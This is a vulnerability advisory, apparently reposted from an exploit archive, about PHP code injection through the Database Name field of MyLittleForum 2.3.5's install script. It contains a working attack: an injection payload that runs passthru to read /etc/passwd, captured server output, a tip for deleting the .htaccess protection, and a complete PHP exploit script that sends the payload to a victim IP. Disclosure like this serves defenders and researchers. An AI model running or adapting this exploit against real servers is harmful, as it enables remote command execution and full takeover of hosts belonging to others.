MyLittleForum 2.3.5 - PHP Command Injection

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MyLittleForum 2.3.5 - PHP Command Injection

来源：hyp3rlinx.altervista.org 作者：hyp3rlinx 发布时间：2016-06-28

/*
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:
http://hyp3rlinx.altervista.org/advisories/MYLITTLEFORUM-PHP-CMD-EXECUTION.txt

[+] ISR: APPARITIONSEC

Vendor:
=================
mylittleforum.net

Download:
github.com/ilosuna/mylittleforum/releases/tag/v2.3.5

Product:
===================
MyLittleForum 2.3.5

my little forum is a simple PHP and MySQL based internet forum that
displays the messages in classical threaded
view (tree structure). The main claim of this web forum is simplicity.
Furthermore it should be easy to install
and run on a standard server configuration with PHP and MySQL.

Vulnerability Type:
=======================
PHP Command Execution

CVE Reference:
==============
N/A

Vulnerability Details:
=====================

When setting up mylittleforum CMS users will have to walk thru an
installation script and provide details for the application like the
forums email address, name, admin email, admin password, database name
etc...

However, no input validation / checks exists for that installation script.
Low privileged users can then supply arbitrary PHP code for
the Database Name. The PHP command values will get written to the
config/db_settings.php file and processed by the application. Since
we supply an invalid Database Name a MySQL error will be thrown but the
injected PHP payload will also be executed on the host system.

If the CMS is installed by low privileged user and that user has basic
MySQL database authorization to run the install for the CMS it
can result in a privilege escalation, remote command execution and complete
takeover of the host server.

The /config/db_settings.php is protected by .htaccess file but we can write
directly to "db_settings.php" file and execute code directly
from /install/index.php file bypassing any access control provided by the
.htaccess file or we just delete it by adding call to PHP function
@unlink('.htaccess') to our injected PHP payload.

1) Browse to http://localhost/mylittleforum-2.3.5/install/index.php

2) For Database Name input field enter the below PHP code for POC.
';?><?php echo passthru('/bin/cat /etc/passwd');'

This results in config/db_settings.php file being injected with our
arbitrary PHP code.
$db_settings['database'] = '';?><?php echo passthru('/bin/cat
/etc/passwd');'';

3) Make another HTTP GET request to same page "/install/index.php" file and
done!... we access /etc/passwd system file.

HTTP/1.1 200 OK
Date: Fri, 24 Jun 2016 03:01:13 GMT
Server: Apache/2.4.12 (Unix) OpenSSL/1.0.1m PHP/5.6.8 mod_perl/2.0.8-dev
Perl/v5.16.3
X-Powered-By: PHP/5.6.8
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin

etc...

Exploit code(s):
===============

1) Download and unpack mylittleforum-2.3.5 upload to web server (Linux), chmod -R 777 etc...
2) Run below PHP script from Command line from remote work station
3) BOOM we can now read Linux "/etc/passwd" file on remote server
*/

<?php
#mylittleforum-2.3.5 PHP CMD Execution Exploit
#by hyp3rlinx
#ISR: apparitionsec
#hyp3rlinx.altervista.org
#cat Linux system file '/etc/passwd' POC
#tested RH Linux 5
#=======================================================

if($argc<5){
echo "myLittleForum CMS PHP Command Execution Exploit\r\n";
echo "Usage: <IP>,<MySQL-USER>,<MySQL-PASSWD>,<ROOT DIR>\r\n";
echo "================= by hyp3rlinx ===================\r\n";
exit();
}

$port=80;                   #Default port
$victim=$argv[1];           #IP
$user=$argv[2];             #MySQL username
$pwd=$argv[3];              #MySQL password
$root_dir=$argv[4];         #/mylittleforum-2.3.5
$uri="/install/index.php"; #PHP CMD inject entry point

$s = fsockopen($victim, $port, $errno, $errstr, 10);
if(!$s){echo "Cant connect to the server!"; exit();}

$CMD_INJECTTION="forum_name=PWN".
               "&forum_address=http://$victim/$root_dir/".
"&forum_email=x@x.com".
"&admin_name=$user".
"&admin_email=x@x.com".
"&admin_pw=$pwd".
"&admin_pw_conf=$pwd".
"&host=localhost".
"&database=';?><?php echo passthru('/bin/cat /etc/passwd');'".
"&user=$user".
"&password=$pwd".
"&table_prefix=mlf2_".
"&install_submit=OK+-+Install+forum".
"&language_file=english.lang";

    #Inject commands
    $out = "POST /$root_dir/$uri HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($CMD_INJECTTION) . "\r\n";
    $out .= "Connection: close\r\n\r\n";
    fwrite($s, $out);
    fwrite($s, $CMD_INJECTTION);
    fclose($s);
    sleep(2);

    #Second HTTP request to read Linux /etc/passwd file in the response
    $out="";
    $s = fsockopen($victim, $port, $errno, $errstr, 10);
    $out = "GET /$root_dir/$uri HTTP/1.1\r\n";
    $out .= "Host: $victim\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($s, $out);

    $r='';

     while (!feof($s)) {
         $r=fgets($s, 128);
         echo $r;
        if(strpos($r,'<!DOCTYPE')!==FALSE){
           break;
         }
       }
fclose($s);
?>

/*
Disclosure Timeline:
=================================
Vendor Notification: No Reply
June 27, 2016 : Public Disclosure

Exploitation Technique:
=======================
Remote

Severity Level:
===========================================
(High) 8.7
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
*/

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